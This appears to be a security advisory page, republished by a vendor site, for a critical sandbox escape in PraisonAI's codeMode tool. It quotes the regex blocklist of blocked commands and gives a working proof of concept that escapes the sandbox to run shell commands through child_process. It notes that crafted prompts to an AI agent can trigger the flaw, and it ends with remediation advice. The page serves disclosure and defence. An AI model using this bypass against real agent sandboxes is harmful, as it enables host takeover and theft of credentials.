🛡️ CVE-2026-57141 — praisonai

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-94 OSV
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PraisonAI: Remote Code Execution via Sandbox Escape in codeMode Tool

Summary

The codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts uses new Function() with a with(sandbox) pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via Function('return this')() to recover the global object, followed by global.require() with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents.

Details

Vulnerable code (lines 187–191):

```typescript

const fn = new Function(

'sandbox',

with (sandbox) { ${code} }

);

const result = fn(sandbox);

```

The code parameter comes from LLM tool call arguments (the execute method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136):

```typescript

const blockedPatterns = [

/require\s*\(\s*['"]child_process['"]\s*\)/,

/require\s*\(\s*['"]fs['"]\s*\)/,

/import\s+.*from\s+['"]child_process['"]/,

/process\.exit/,

/eval\s*\(/,

];

```

Three fundamental weaknesses:

1. with(sandbox) does not provide isolation. The with statement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object sets process: undefined and require: undefined, but these are recovered via the global scope:

```javascript

const g = Function('return this')();

g.require('child_' + 'process')

```

2. Blocklist evasion via string concatenation. The regex /require\s*\(\s*['"]child_process['"]\s*\)/ requires the literal string 'child_process' or "child_process" inside require(). Using require('child_' + 'process') bypasses this because the regex sees a variable concatenation, not a literal string.

3. Function('return this')() is not blocked. None of the blocklist patterns match Function(, return this, or global.require.

PoC

Setup: Clean checkout at commit d5f1114a, Node.js v20.20.0 (tested environment).

Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):

```javascript

// This code bypasses ALL blocklist patterns and achieves RCE:

const code = `

const Func = (function(){}).constructor;

const proc = Func('return process')();

console.log('process.version:', proc.version);

const g = Function('return this')();

const mod = 'child_' + 'process';

const cp = g.require(mod);

console.log('RCE:', cp.execSync('id').toString().trim());

`;

```

Observed output (executed in this environment):

```

OUT: process.version: v20.20.0

OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama)

```

The escape was confirmed by executing the exact code-mode sandbox pattern (new Function('sandbox', 'with (sandbox) { ... }')) with the blocklist applied first. ALL blocklist patterns were bypassed, and the id command returned the real system user ID.

Negative control — blocklist correctly catches direct require:

```javascript

const code = require('child_process');

// Returns: "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)"

```

Negative control — blocklist correctly catches eval:

```javascript

const code = eval('process');

// Returns: "Blocked pattern detected: eval\s*\("

```

Cleanup: No persistence needed; the code runs in-process.

Impact

An attacker who can influence the code parameter of the codeMode tool (via crafted prompts to an AI agent using praisonai-ts) achieves full arbitrary code execution on the host system. This includes:

  • Read/write any file accessible to the process user
  • Execute arbitrary system commands via child_process
  • Exfiltrate environment variables containing API keys, tokens, and credentials
  • Install persistent backdoors by writing to startup files
  • Move laterally in containerized environments

Suggested remediation

The with(sandbox) + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with:

1. Use vm module with proper context isolation:

```typescript

import { createContext, runInContext } from 'vm';

const sandbox = createContext({ /* safe globals only */ });

runInContext(code, sandbox, { timeout: 5000 });

```

2. Or use isolated-vm for true process-level isolation with separate V8 isolates.

3. Or run code in a subprocess (like the Python _execute_code_sandboxed pattern already used in python_tools.py) with a clean environment and resource limits.

4. If a blocklist approach must be retained, add patterns for:

  • Function( / new Function
  • constructor / __proto__ / prototype
  • return this / return global
  • global / globalThis / window

But note: blocklist approaches are inherently fragile and will continue to have bypasses.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-57141 is classified as CWE-94: Code Injection. Input is incorporated into code that the runtime evaluates, so an attacker can have their own code executed.

Affected software

CVE-2026-57141 is recorded against 1 package.

  • praisonai

Timeline and source

Published on 18 June 2026 and last revised on 20 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-94
Public Exploit ✅ No
Source OSV
Published 2026-06-18
Updated 2026-08-12
Modified 2026-07-20
Fix URL N/A

Affected Packages

Software From version Fixed in
praisonai

Similar Threats

Exploit Protection

Are you running praisonai?

CVE-2026-57141 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-57141 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.